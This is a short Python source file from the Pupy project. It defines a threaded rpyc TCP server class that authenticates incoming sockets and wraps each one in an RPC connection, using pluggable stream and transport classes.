pupy/pupy/network/servers.py

46 lines
1.7 KiB
Python

# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from rpyc.utils.server import ThreadPoolServer
from rpyc.core import Channel, Connection
from rpyc.utils.authenticators import AuthenticationError
class PupyTCPServer(ThreadPoolServer):
def __init__(self, *args, **kwargs):
if not "stream" in kwargs:
raise ValueError("missing stream_class argument")
if not "transport" in kwargs:
raise ValueError("missing transport argument")
self.stream_class=kwargs["stream"]
self.transport_class=kwargs["transport"]
self.transport_kwargs=kwargs["transport_kwargs"]
del kwargs["stream"]
del kwargs["transport"]
del kwargs["transport_kwargs"]
ThreadPoolServer.__init__(self, *args, **kwargs)
def _authenticate_and_build_connection(self, sock):
'''Authenticate a client and if it succeeds, wraps the socket in a connection object.
Note that this code is cut and paste from the rpyc internals and may have to be
changed if rpyc evolves'''
# authenticate
if self.authenticator:
addrinfo = sock.getpeername()
h=addrinfo[0]
p=addrinfo[1]
try:
sock, credentials = self.authenticator(sock)
except AuthenticationError:
self.logger.info("%s:%s failed to authenticate, rejecting connection", h, p)
return None
else:
credentials = None
# build a connection
addrinfo = sock.getpeername()
h=addrinfo[0]
p=addrinfo[1]
config = dict(self.protocol_config, credentials=credentials, connid="%s:%d"%(h, p))
return Connection(self.service, Channel(self.stream_class(sock, self.transport_class, self.transport_kwargs)), config=config)